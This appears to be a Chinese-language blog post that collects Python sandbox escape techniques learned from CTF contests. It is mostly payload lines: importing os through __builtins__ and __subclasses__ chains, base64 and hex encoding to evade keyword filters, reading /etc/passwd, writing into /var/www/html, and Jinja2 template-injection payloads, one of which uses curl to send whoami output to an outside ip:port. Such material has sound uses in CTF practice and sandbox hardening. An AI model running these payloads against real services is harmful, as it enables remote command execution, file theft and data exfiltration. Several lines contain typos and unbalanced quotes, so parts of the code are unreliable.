Python沙箱逃逸總結

0x00 簡介

關於Python沙箱的逃逸,在多次CTF比賽中看到後,終於下定決心來進行一番學習和總結。

python沙箱逃逸:從一個受限制的python執行環境中獲取到更高的權限,甚至getshell。

 

0x01 __builtins__

首先我們從python的內建函數__builtins__說起。通過dir(__builtins__)可以查看內置函數,展示所有內置類型和函數。

我們先來看最基礎的__import__函數

# 直接調用

__builtins__.__import__('os').system('dir')

# 通過dict訪問

__builtins__.__dict__[‘import__('os')’].system('ls')

 

# 玩一些花樣-轉碼

__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')

此外還有file、open、eval等函數

__builtins__.__dict__.__getitem__('file')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('open')('/etc/passwd').read()
__builtins__.__dict__.__getitem__('eval')("__import__('os').system('ls')")

# import 其他模塊

__builtins__.__import__('commands').getoutput('id')
__builtins__.__import__('commands').getstatusoutput('id')
__builtins__.__import__('subprocess').call(['id'],shell=True)

關於import還有其他一些有意思的操作,包括reload方法、設置sys.modules[‘os’]、execfile等。

 

0x03 object

除了builtins,是否還存在其他方法呢?這裏我們來介紹python的object。

我們知道python是面向對象的語言,所有類均是從object繼承而來。所以我們在構造payload時,第一步便是構造一個object,然後在通過object去進行想要的操作。構造一個object的方法有三個,第一個是通過類的屬性__base__,通過該屬性可以指明該類是繼承自哪個類(所有類均是從object繼承而來)。

第二個是使用屬性__bases__,原理跟__base__類似,它返回一個繼承的數組,而數組的第一個便是object;

第三個方法是使用屬性__mro__,__mro__即method resolution order,解析方法調用的順序。其順序的最後一位必定爲一個object。

最終整理的可構造一個object對象的方法如下:

# use __base__
[].__class__.__base__
''.__class__.__base__
False.__class__.__base__.__base__
0.0.__class__.__base__
{}.__class__.__base__


# use __bases__[0]
[].__class__.__bases__[0]
''.__class__.__bases__[0]
False.__class__.__bases__[0]. __bases__[0]
0.0.__class__.__bases__[0]
{}.__class__.__bases__[0]

# use __mro__[-1]
[].__class__.__mro__[-1]
''.__class__.__mro__[-1]
False.__class__.__mro__[-1]
0.0.__class__.__mro__[-1]
{}.__class__.__mro__[-1]

0x04 命令執行

在得到一個object對象後,我們通過subclasses查看其支持的對象類型(本身支持subclasshook方法)。

這裏的file可用來進行最簡單的文件讀操作。

().__class__.__bases__[0].__subclasses__()[40]('/flag).read()

此處,read、readline、readlines均可使用。

簡單寫文件示例:

().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/tmp', 'w').write('777')

__globals__屬性

在講命令執行前,這裏還得介紹一下__globals__。該屬性是函數特有的屬性,記錄當前文件全局變量的值,如果某個文件調用了os、sys等庫,但我們只能訪問該文件某個函數或者某個對象,那麼我們就可以利用__globals__屬性訪問全局的變量。

python裏面的內置模塊本身調用os模塊等可以命令執行的庫,這裏列舉幾個:

<class 'site._Printer'>

<class 'site.Quitter'>

<class 'warnings.catch_warnings'>

由於測試環境中未能復現該方法,此處不再作深入講解。這裏僅貼一些常見的payload供參考。

[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')

[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('dir')

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

 

func_global屬性

但在實際測試過程中,由於__globals__未能成功調用,還是轉而使用了func_global屬性。此處我們用catch_warnings類(索引在59),進行命令執行。

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('ls')

 

0x05 其他繞過姿勢

在實際環境中,我們必然會碰到各種各樣的過濾限制,這裏也做了一些歸納

  • getattribute、decode拼接繞過關鍵字過濾
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir')

[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('dir')

[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('ls')
  • 無[]法
    
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
  • request法
# 無引號

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}    提交參數&cmd=id

# 無__

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}    提交參數&class=__class__&mro=__mro__&subclasses=__subclasses__
  • 無回顯
#curl

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}
  • 盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag).read()[0:1]=='f' %}bingo{% endif %}
  • 時間盲注

__builtins__.__import__( timeit).timeit("__import__('os').system('if [ $(whoami|base32|wc -c|cut -c 1) =  ];then sleep 2;fi')", number=1)
  • 其他模塊

__builtins__.__import__( timeit).timeit("__import__('os').system('ls')", number=1)

platform.popen('id', mode='r', bufsize=-1).read()

 

參考

https://blog.csdn.net/wy_97/article/details/80393854

https://www.jianshu.com/p/183581381c4f

https://xz.aliyun.com/t/52#

https://icematcha.win/?p=532

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章